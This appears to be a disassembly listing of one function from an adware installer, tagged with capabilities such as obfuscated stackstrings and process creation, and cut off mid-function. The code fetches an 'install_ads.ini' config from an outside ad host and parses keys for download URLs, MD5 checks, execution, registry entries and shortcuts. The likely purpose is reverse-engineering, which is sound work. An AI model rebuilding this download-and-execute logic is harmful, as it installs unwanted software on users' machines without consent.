Function at 0x412040
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4749fa
mov eax, dword fs:[0]
push eax
sub esp, 0xd8
push ebx
push esi
push edi
mov eax, dword [0x48f900]
xor eax, esp
push eax
lea eax, [esp + 0xe8]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
mov ebx, dword [edi + 0xa8]
mov eax, dword [edi + 0x134]
call fcn.00434650
mov ebx, dword [edi + 0xb0]
mov eax, dword [edi + 0x134]
call fcn.00434650
mov ecx, dword [edi + 0x134]
mov esi, dword [ecx + 0x210]
xor eax, eax
test esi, esi
jle 0x4120da
cmp eax, esi
jl 0x4120b1
xor edx, edx
jmp 0x4120cc
test eax, eax
jl 0x41214d
cmp eax, esi
jge 0x41214d
mov edx, dword [ecx + 0x20c]
lea edx, [edx + eax*4]
mov edx, dword [edx]
cmp dword [edx + 0xe8], 0
jne 0x4120e7
inc eax
cmp eax, esi
jl 0x4120b1
cmp dword [edi + 0x1b8], 0
je 0x414704
push str.YouXunBoxYouxun.exe
add edi, 0x18c
lea eax, [esp + 0xd8]
push edi
push eax
call fcn.00404ea0
add esp, 8
mov dword [esp + 0xf4], 0
mov ecx, esp
mov dword [esp + 0x38], esp
push str.http:__box64ad.uuuo.com_yxh_install_ads.ini
call fcn.00401b80
lea ecx, [esp + 0x1c]
push ecx
call fcn.004095a0
add esp, 8
mov byte [esp + 0xf0], 1
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412152
push 0x80004005
call fcn.00401090
call fcn.0043b230
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x88], eax
mov byte [esp + 0xf0], 2
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412187
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x80], eax
mov byte [esp + 0xf0], 3
mov esi, dword [esp + 0x18]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x38], esp
mov edi, esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x4121d4
cmp eax, dword [esi]
jne 0x4121d4
mov ebx, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412210
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebx, eax
test ebx, ebx
jne 0x4121ed
call fcn.00402620
mov eax, dword [esi + 4]
mov dword [ebx + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [ebx + 0x10]
push eax
call fcn.004579d2
add esp, 0x10
add ebx, 0x10
mov dword [edi], ebx
push ecx
mov byte [esp + 0xf8], 4
mov ecx, esp
mov dword [esp + 0x34], esp
push str.sleep
lea edi, [esp + 0x8c]
call fcn.00401b80
mov byte [esp + 0xf8], 5
mov ebx, dword [0x494478]
push ecx
mov ecx, dword [ebx - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add ebx, 0xfffffff0
mov dword [esp + 0x2c], esp
mov dword [esp + 0x2c], esp
call eax
cmp dword [ebx + 0xc], 0
lea edx, [ebx + 0xc]
jl 0x412273
cmp eax, dword [ebx]
jne 0x412273
mov esi, ebx
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4122af
mov ecx, dword [ebx + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
jne 0x41228c
call fcn.00402620
mov eax, dword [ebx + 4]
mov dword [esi + 4], eax
mov eax, dword [ebx + 4]
lea ecx, [eax + eax + 2]
push ecx
add ebx, 0x10
lea edx, [eax + eax + 2]
push ebx
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004579d2
add esp, 0x10
mov ecx, dword [esp + 0x2c]
add esi, 0x10
mov dword [ecx], esi
mov esi, edi
mov byte [esp + 0xfc], 3
call fcn.00409470
mov edx, dword [esp + 0x8c]
add esp, 0xc
push edx
call fcn.00458288
mov esi, dword [esp + 0x1c]
mov ecx, dword [esi - 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x38], eax
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
mov dword [esp + 0x30], esp
mov edi, esp
call edx
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x41230c
cmp eax, dword [esi]
jne 0x41230c
mov ebx, esi
mov eax, 1
lock xadd dword [edx], eax
jmp 0x412348
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebx, eax
test ebx, ebx
jne 0x412325
call fcn.00402620
mov eax, dword [esi + 4]
mov dword [ebx + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [ebx + 0x10]
push eax
call fcn.004579d2
add esp, 0x10
add ebx, 0x10
mov dword [edi], ebx
push ecx
mov byte [esp + 0xf8], 6
mov ecx, esp
mov dword [esp + 0x44], esp
push str.number
lea edi, [esp + 0x94]
call fcn.00401b80
mov byte [esp + 0xf8], 7
mov ebx, dword [0x494478]
push ecx
mov ecx, dword [ebx - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add ebx, 0xfffffff0
mov dword [esp + 0x2c], esp
mov dword [esp + 0x2c], esp
call eax
cmp dword [ebx + 0xc], 0
lea edx, [ebx + 0xc]
jl 0x4123ab
cmp eax, dword [ebx]
jne 0x4123ab
mov esi, ebx
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4123e7
mov ecx, dword [ebx + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
jne 0x4123c4
call fcn.00402620
mov eax, dword [ebx + 4]
mov dword [esi + 4], eax
mov eax, dword [ebx + 4]
lea ecx, [eax + eax + 2]
push ecx
add ebx, 0x10
lea edx, [eax + eax + 2]
push ebx
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004579d2
add esp, 0x10
mov ecx, dword [esp + 0x2c]
add esi, 0x10
mov dword [ecx], esi
mov esi, edi
mov byte [esp + 0xfc], 3
call fcn.00409470
mov edx, dword [esp + 0x94]
add esp, 0xc
push edx
call fcn.00458288
mov esi, eax
add esp, 4
mov dword [esp + 0x2c], esi
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412432
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x30], eax
mov byte [esp + 0xf0], 8
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412464
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x28], eax
mov byte [esp + 0xf0], 9
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412496
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x38], eax
mov byte [esp + 0xf0], 0xa
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4124c8
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x44], eax
mov byte [esp + 0xf0], 0xb
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4124fa
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x3c], eax
mov byte [esp + 0xf0], 0xc
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41252c
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x70], eax
mov byte [esp + 0xf0], 0xd
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41255e
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x68], eax
mov byte [esp + 0xf0], 0xe
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412590
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x60], eax
mov byte [esp + 0xf0], 0xf
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4125c2
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x58], eax
mov byte [esp + 0xf0], 0x10
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4125f4
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x40], eax
mov byte [esp + 0xf0], 0x11
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412626
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x50], eax
mov byte [esp + 0xf0], 0x12
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412658
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x4c], eax
mov byte [esp + 0xf0], 0x13
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41268a
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x94], eax
mov byte [esp + 0xf0], 0x14
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4126bf
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x98], eax
mov byte [esp + 0xf0], 0x15
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4126f4
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x8c], eax
mov byte [esp + 0xf0], 0x16
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412729
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xb4], eax
mov byte [esp + 0xf0], 0x17
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41275e
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x84], eax
mov byte [esp + 0xf0], 0x18
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412793
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xcc], eax
mov byte [esp + 0xf0], 0x19
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4127c8
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x48], eax
mov byte [esp + 0xf0], 0x1a
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4127fa
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xac], eax
mov byte [esp + 0xf0], 0x1b
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41282f
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x74], eax
mov byte [esp + 0xf0], 0x1c
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412861
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xbc], eax
mov byte [esp + 0xf0], 0x1d
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412896
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x6c], eax
mov byte [esp + 0xf0], 0x1e
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4128c8
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa4], eax
mov byte [esp + 0xf0], 0x1f
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4128fd
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x64], eax
mov byte [esp + 0xf0], 0x20
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x41292f
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xc4], eax
mov byte [esp + 0xf0], 0x21
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412964
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x5c], eax
mov byte [esp + 0xf0], 0x22
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412996
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa8], eax
mov byte [esp + 0xf0], 0x23
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4129cb
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x54], eax
mov byte [esp + 0xf0], 0x24
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4129fd
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xa0], eax
mov byte [esp + 0xf0], 0x25
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412a32
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xc8], eax
mov byte [esp + 0xf0], 0x26
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412a67
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xc0], eax
mov byte [esp + 0xf0], 0x27
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412a9c
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xb8], eax
mov byte [esp + 0xf0], 0x28
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412ad1
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0xb0], eax
mov byte [esp + 0xf0], 0x29
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412b06
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x7c], eax
mov byte [esp + 0xf0], 0x2a
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412b38
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x78], eax
mov byte [esp + 0xf0], 0x2b
call fcn.0043b020
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x412b6a
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x90], eax
cmp esi, 1
mov bl, 0x2c
mov byte [esp + 0xf0], bl
mov dword [esp + 0x24], 1
jl 0x413f1c
jmp 0x412ba0
mov ecx, dword [esp + 0x24]
push ecx
lea edx, [esp + 0xb4]
push str.wd_dexec
push edx
call fcn.00405950
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov eax, dword [ecx]
mov edx, dword [eax + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x20], esp
mov dword [esp + 0x14], esp
call edx
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x412bed
cmp eax, dword [esi]
jne 0x412bed
mov edi, esi
mov eax, 1
lock xadd dword [ecx], eax
jmp 0x412c28
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4121e8
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004579d2
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf4], 0x2d
mov esi, dword [esp + 0xb4]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x412c70
cmp eax, dword [esi]
jne 0x412c70
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412cab
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4121e8
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004579d2
add esp, 0x10
mov ecx, dword [esp + 0x18]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf8], 0x2e
mov esi, dword [0x494478]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x412cf2
cmp eax, dword [esi]
jne 0x412cf2
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412d2d
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4121e8
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004579d2
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add edi, 0x10
mov dword [ecx], edi
lea esi, [esp + 0x90]
mov byte [esp + 0xfc], bl
call fcn.00409470
mov edx, dword [esp + 0x30]
add esp, 0xc
push edx
lea eax, [esp + 0xd0]
push str.wd_did
push eax
call fcn.00405950
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x412d99
cmp eax, dword [esi]
jne 0x412d99
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412dd4
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4121e8
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004579d2
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf4], 0x2f
mov esi, dword [esp + 0xd0]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x412e1c
cmp eax, dword [esi]
jne 0x412e1c
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412e57
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4121e8
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004579d2
add esp, 0x10
mov ecx, dword [esp + 0x18]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf8], 0x30
mov esi, dword [0x494478]
push ecx
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
mov dword [esp + 0x1c], esp
mov dword [esp + 0x1c], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x412e9e
cmp eax, dword [esi]
jne 0x412e9e
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x412ed9
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4121e8
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004579d2
add esp, 0x10
mov ecx, dword [esp + 0x1c]
add edi, 0x10
mov dword [ecx], edi
lea esi, [esp + 0x3c]
mov byte [esp + 0xfc], bl
call fcn.00409470
mov edx, dword [ebp + 8]
mov edi, dword [edx + 0x134]
xor esi, esi
add esp, 0xc
cmp esi, dword [edi + 0x210]
jge 0x41300b
test esi, esi
jl 0x41214d
cmp esi, dword [edi + 0x210]
jge 0x41214d
mov eax, dword [edi + 0x20c]
lea eax, [eax + esi*4]
mov eax, dword [eax]
mov eax, dword [eax + 0x114]
test eax, eax
je 0x412f84
mov edx, dword [esp + 0x30]
xor ecx, ecx
test edx, edx
setne cl
test ecx, ecx
je 0x412143
mov eax, dword [eax]
mov ecx, edx
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x412f76
test dx, dx
je 0x412f72
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x412f76
add eax, 4
add ecx, 4
test dx, dx
jne 0x412f50
xor eax, eax
jmp 0x412f7b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
sete al
test al, al
jne 0x412f93
inc esi
cmp esi, dword [edi + 0x210]
jl 0x412f0c
jmp 0x41300b
cmp esi, dword [edi + 0x210]
jl 0x412f9f
xor eax, eax
jmp 0x412fbe
test esi, esi
jl 0x41214d
cmp esi, dword [edi + 0x210]
jge 0x41214d
mov ecx, dword [edi + 0x20c]
lea eax, [ecx + esi*4]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
jne 0x41300b
mov eax, dword [esp + 0x84]
mov ecx, 0x47d43c
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x412ff9
test dx, dx
je 0x412ff5
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x412ff9
add eax, 4
add ecx, 4
test dx, dx
jne 0x412fd3
xor eax, eax
jmp 0x412ffe
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
sete al
test al, al
je 0x413f09
mov ecx, dword [esp + 0x30]
mov eax, dword [ecx - 0xc]
mov esi, dword [esp + 0x24]
test eax, eax
je 0x41303b
push eax
push ecx
lea ecx, [esp + 0x84]
call fcn.00405540
push 1
push 0x47ccb0
lea ecx, [esp + 0x84]
call fcn.00405540
push esi
lea edx, [esp + 0x4c]
push str.wd_durl
push edx
call fcn.00405950
add esp, 0xc
push esi
lea eax, [esp + 0xb0]
push str.wd_dmd5
push eax
call fcn.00405950
add esp, 0xc
push esi
lea ecx, [esp + 0x78]
push str.wd_dmain
push ecx
call fcn.00405950
add esp, 0xc
push esi
lea edx, [esp + 0xc0]
push str.wd_dunmain
push edx
call fcn.00405950
add esp, 0xc
push esi
lea eax, [esp + 0xa8]
push str.wd_dchina
push eax
call fcn.00405950
add esp, 0xc
push esi
lea ecx, [esp + 0x70]
push str.wd_dopen
push ecx
call fcn.00405950
add esp, 0xc
push esi
lea edx, [esp + 0xa4]
push str.wd_dReg
push edx
call fcn.00405950
add esp, 0xc
push esi
lea eax, [esp + 0x68]
push str.wd_dtaskbar
push eax
call fcn.00405950
add esp, 0xc
push esi
lea ecx, [esp + 0xc8]
push str.wd_dparam
push ecx
call fcn.00405950
add esp, 0xc
push esi
lea edx, [esp + 0x60]
push str.wd_dLnk
push edx
call fcn.00405950
add esp, 0xc
push esi
lea eax, [esp + 0xac]
push str.wd_dsleep
push eax
call fcn.00405950
add esp, 0xc
push esi
lea ecx, [esp + 0x58]
push str.wd_dlnkpath
push ecx
call fcn.00405950
add esp, 0xc
push esi
lea edx, [esp + 0xcc]
push str.wd_drnwait
push edx
call fcn.00405950
add esp, 0xc
push esi
push str.wd_dprocess
lea eax, [esp + 0xc8]
push eax
call fcn.00405950
add esp, 0xc
push esi
lea ecx, [esp + 0xbc]
push str.wd_dArea
push ecx
call fcn.00405950
mov esi, dword [esp + 0x24]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x18], esp
mov dword [esp + 0x14], esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x4131a6
cmp eax, dword [esi]
jne 0x4131a6
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4131e1
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4121e8
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004579d2
add esp, 0x10
mov ecx, dword [esp + 0x14]
add edi, 0x10
mov dword [ecx], edi
mov byte [esp + 0xf4], 0x31
mov edi, dword [esp + 0x4c]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x24], esp
mov dword [esp + 0x18], esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x413226
cmp eax, dword [edi]
jne 0x413226
mov esi, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x413261
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
